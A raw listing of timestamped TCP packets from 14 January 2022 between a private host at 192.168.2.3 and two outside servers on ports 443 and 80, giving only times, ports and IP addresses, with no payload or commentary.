Jan 14, 2022 01:51:44.296147108 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.296180964 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.296217918 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.296230078 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.296245098 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.296268940 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.296300888 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.296349049 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.296385050 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.296396971 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.296426058 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.296467066 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.296504021 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.296539068 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.296577930 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.335803032 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.335870028 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.335900068 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.335930109 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.335961103 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.335995913 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.336014032 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.336030006 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.336052895 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.336091995 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.336102962 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.336129904 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.336136103 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.336167097 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.336205006 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.336241961 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.336270094 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.336285114 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.336296082 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.336323977 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.336360931 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.336375952 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.336399078 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.337326050 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.338913918 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.338956118 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.338995934 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.339032888 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.339056969 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.339082003 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.410175085 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.410242081 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.410283089 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.410311937 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.410322905 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.410361052 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.410401106 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.410410881 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.410443068 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.410449028 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.410480022 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.410517931 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.410556078 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.410567999 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.410592079 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.410598040 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.410629988 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.410669088 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.410708904 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.410717010 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.410751104 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.410753012 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.410788059 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.410826921 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.410864115 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.410871029 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.410901070 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.410906076 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.410938025 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.410975933 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.411012888 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.411020041 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.411051989 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.411053896 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.411087990 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.411128044 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.411165953 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.411176920 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.411202908 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.411207914 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.411242008 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.411281109 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.411319971 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.411326885 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.411360979 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.411362886 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.411397934 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.412760973 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.412800074 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.412827015 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.412846088 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.412853956 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.412875891 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.412878990 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.412899971 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.412905931 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.412931919 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.412959099 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.412976027 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.413005114 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.485148907 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.485215902 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.485258102 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.485307932 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.485316038 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.485361099 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.485368013 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.485400915 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.485440016 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.485476971 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.485486984 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.485516071 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.485522032 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.485554934 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.485591888 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.485630989 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.485641956 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.485668898 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.485675097 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.485707998 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.485745907 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.485783100 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.485794067 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.485821962 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.485831976 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.485903978 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.485943079 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.485980034 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.485996962 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.486017942 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486021996 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.486057043 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486094952 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486130953 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.486135006 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486172915 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486179113 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.486212015 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486251116 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486289024 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486311913 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.486327887 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486352921 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.486366034 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486406088 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486444950 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486455917 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.486481905 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486493111 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.486521006 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486560106 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486596107 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486608982 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.486634970 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486645937 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.486673117 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486711025 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486751080 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486762047 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.486788034 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486798048 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.486826897 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486864090 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486901045 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486913919 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.486938953 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.486942053 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.486975908 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.487014055 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.487052917 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.487063885 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.487096071 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.501903057 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.547084093 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.547121048 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.547143936 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.547223091 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.547278881 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.552529097 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.552541971 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.552560091 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.552627087 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.552674055 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.552696943 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.552712917 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.552727938 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.552750111 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.552762985 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.552772045 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.552783012 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.552793980 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.552804947 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.552820921 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.552835941 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.552849054 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.552866936 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.552901983 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.552913904 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.552926064 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.552937984 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.552943945 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.552947998 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.552959919 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553018093 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.553035975 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553060055 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553076029 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.553086996 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553145885 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.553158045 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553175926 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553195000 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.553205013 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553215981 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553308964 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.553319931 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553345919 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553369045 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.553380013 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553388119 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.553397894 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553438902 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.553450108 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553484917 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.553497076 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553503990 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553525925 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.553534031 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553577900 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.553594112 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553658009 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.553670883 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553694010 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.553703070 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553725004 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553725004 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.553780079 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.553792000 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553806067 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.553813934 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.553837061 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553919077 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553925991 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.553941011 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.553987980 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.554061890 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.554097891 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.554128885 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.554141998 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.554157019 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.554179907 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.554224014 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.554259062 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.554291010 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.554302931 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.554318905 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.554394960 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.554430008 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.554472923 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.554482937 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.554534912 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.554557085 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.554593086 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.554641962 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.554653883 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.554668903 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.554718018 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.554754019 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.554785013 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.554797888 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.554817915 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.554836035 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.554869890 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.554905891 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.554919004 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.554941893 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.554976940 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.554987907 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.555023909 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.555075884 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.560764074 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.560818911 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.560858965 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.560898066 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.560920000 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.560936928 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.560950041 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.560978889 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561017990 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561024904 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.561057091 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561096907 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561134100 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561150074 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.561172962 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561180115 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.561213017 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561250925 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561290979 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561304092 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.561330080 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561333895 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.561368942 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561407089 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561443090 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561453104 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.561480999 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561485052 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.561518908 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561563969 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561603069 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561609030 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.561639071 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561649084 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.561677933 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561714888 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561752081 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561758041 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.561789989 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561791897 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.561826944 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561894894 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561934948 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561940908 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.561974049 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.561979055 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.562010050 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.562047958 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.562084913 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.562089920 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.562120914 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.562125921 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.562158108 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.562195063 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.562232971 CET	80	49856	141.8.194.74	192.168.2.3
